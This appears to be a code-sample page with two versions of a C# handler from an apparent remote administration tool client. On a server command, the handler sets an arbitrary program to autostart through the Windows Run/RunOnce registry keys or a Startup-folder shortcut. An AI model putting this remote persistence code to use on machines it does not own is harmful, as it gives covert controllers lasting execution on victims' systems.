Exemplo n.º 1
0
        public static void HandleDoStartupItemAdd(Packets.ServerPackets.DoStartupItemAdd command, Client client)
        {
            try
            {
                switch (command.Type)
                {
                case 0:
                    using (var key = Registry.LocalMachine.OpenWritableSubKeySafe("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run"))
                    {
                        if (key == null)
                        {
                            throw new ArgumentException("Registry key does not exist");
                        }
                        if (!command.Path.StartsWith("\"") && !command.Path.EndsWith("\""))
                        {
                            command.Path = "\"" + command.Path + "\"";
                        }
                        key.SetValue(command.Name, command.Path);
                        key.Close();
                    }
                    break;

                case 1:
                    using (var key = Registry.LocalMachine.OpenWritableSubKeySafe("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\RunOnce"))
                    {
                        if (key == null)
                        {
                            throw new ArgumentException("Registry key does not exist");
                        }
                        if (!command.Path.StartsWith("\"") && !command.Path.EndsWith("\""))
                        {
                            command.Path = "\"" + command.Path + "\"";
                        }
                        key.SetValue(command.Name, command.Path);
                        key.Close();
                    }
                    break;

                case 2:
                    using (var key = Registry.CurrentUser.OpenWritableSubKeySafe("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run"))
                    {
                        if (key == null)
                        {
                            throw new ArgumentException("Registry key does not exist");
                        }
                        if (!command.Path.StartsWith("\"") && !command.Path.EndsWith("\""))
                        {
                            command.Path = "\"" + command.Path + "\"";
                        }
                        key.SetValue(command.Name, command.Path);
                        key.Close();
                    }
                    break;

                case 3:
                    using (var key = Registry.CurrentUser.OpenWritableSubKeySafe("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\RunOnce"))
                    {
                        if (key == null)
                        {
                            throw new ArgumentException("Registry key does not exist");
                        }
                        if (!command.Path.StartsWith("\"") && !command.Path.EndsWith("\""))
                        {
                            command.Path = "\"" + command.Path + "\"";
                        }
                        key.SetValue(command.Name, command.Path);
                        key.Close();
                    }
                    break;

                case 4:
                    if (PlatformHelper.Architecture != 64)
                    {
                        throw new NotSupportedException("Only on 64-bit systems supported");
                    }

                    using (var key = Registry.LocalMachine.OpenWritableSubKeySafe("SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Run"))
                    {
                        if (key == null)
                        {
                            throw new ArgumentException("Registry key does not exist");
                        }
                        if (!command.Path.StartsWith("\"") && !command.Path.EndsWith("\""))
                        {
                            command.Path = "\"" + command.Path + "\"";
                        }
                        key.SetValue(command.Name, command.Path);
                        key.Close();
                    }
                    break;

                case 5:
                    if (PlatformHelper.Architecture != 64)
                    {
                        throw new NotSupportedException("Only on 64-bit systems supported");
                    }

                    using (var key = Registry.LocalMachine.OpenWritableSubKeySafe("SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\RunOnce"))
                    {
                        if (key == null)
                        {
                            throw new ArgumentException("Registry key does not exist");
                        }
                        if (!command.Path.StartsWith("\"") && !command.Path.EndsWith("\""))
                        {
                            command.Path = "\"" + command.Path + "\"";
                        }
                        key.SetValue(command.Name, command.Path);
                        key.Close();
                    }
                    break;

                case 6:
                    if (!Directory.Exists(Environment.GetFolderPath(Environment.SpecialFolder.Startup)))
                    {
                        Directory.CreateDirectory(Environment.GetFolderPath(Environment.SpecialFolder.Startup));
                    }

                    string lnkPath = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.Startup),
                                                  command.Name + ".url");

                    using (var writer = new StreamWriter(lnkPath, false))
                    {
                        writer.WriteLine("[InternetShortcut]");
                        writer.WriteLine("URL=file:///" + command.Path);
                        writer.WriteLine("IconIndex=0");
                        writer.WriteLine("IconFile=" + command.Path.Replace('\\', '/'));
                        writer.Flush();
                    }
                    break;
                }
            }
            catch (Exception ex)
            {
                new Packets.ClientPackets.SetStatus(string.Format("Adding Autostart Item failed: {0}", ex.Message)).Execute(client);
            }
        }
Exemplo n.º 2
0
        public static void HandleDoStartupItemAdd(Packets.ServerPackets.DoStartupItemAdd command, Client client)
        {
            try
            {
                switch (command.Type)
                {
                case 0:
                    if (!RegistryKeyHelper.AddRegistryKeyValue(RegistryHive.LocalMachine,
                                                               "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", command.Name, command.Path, true))
                    {
                        throw new Exception("Could not add value");
                    }
                    break;

                case 1:
                    if (!RegistryKeyHelper.AddRegistryKeyValue(RegistryHive.LocalMachine,
                                                               "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\RunOnce", command.Name, command.Path, true))
                    {
                        throw new Exception("Could not add value");
                    }
                    break;

                case 2:
                    if (!RegistryKeyHelper.AddRegistryKeyValue(RegistryHive.CurrentUser,
                                                               "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", command.Name, command.Path, true))
                    {
                        throw new Exception("Could not add value");
                    }
                    break;

                case 3:
                    if (!RegistryKeyHelper.AddRegistryKeyValue(RegistryHive.CurrentUser,
                                                               "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\RunOnce", command.Name, command.Path, true))
                    {
                        throw new Exception("Could not add value");
                    }
                    break;

                case 4:
                    if (!PlatformHelper.Is64Bit)
                    {
                        throw new NotSupportedException("Only on 64-bit systems supported");
                    }

                    if (!RegistryKeyHelper.AddRegistryKeyValue(RegistryHive.LocalMachine,
                                                               "SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Run", command.Name, command.Path, true))
                    {
                        throw new Exception("Could not add value");
                    }
                    break;

                case 5:
                    if (!PlatformHelper.Is64Bit)
                    {
                        throw new NotSupportedException("Only on 64-bit systems supported");
                    }

                    if (!RegistryKeyHelper.AddRegistryKeyValue(RegistryHive.LocalMachine,
                                                               "SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\RunOnce", command.Name, command.Path, true))
                    {
                        throw new Exception("Could not add value");
                    }
                    break;

                case 6:
                    if (!Directory.Exists(Environment.GetFolderPath(Environment.SpecialFolder.Startup)))
                    {
                        Directory.CreateDirectory(Environment.GetFolderPath(Environment.SpecialFolder.Startup));
                    }

                    string lnkPath = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.Startup),
                                                  command.Name + ".url");

                    using (var writer = new StreamWriter(lnkPath, false))
                    {
                        writer.WriteLine("[InternetShortcut]");
                        writer.WriteLine("URL=file:///" + command.Path);
                        writer.WriteLine("IconIndex=0");
                        writer.WriteLine("IconFile=" + command.Path.Replace('\\', '/'));
                        writer.Flush();
                    }
                    break;
                }
            }
            catch (Exception ex)
            {
                new Packets.ClientPackets.SetStatus(string.Format("Adding Autostart Item failed: {0}", ex.Message)).Execute(client);
            }
        }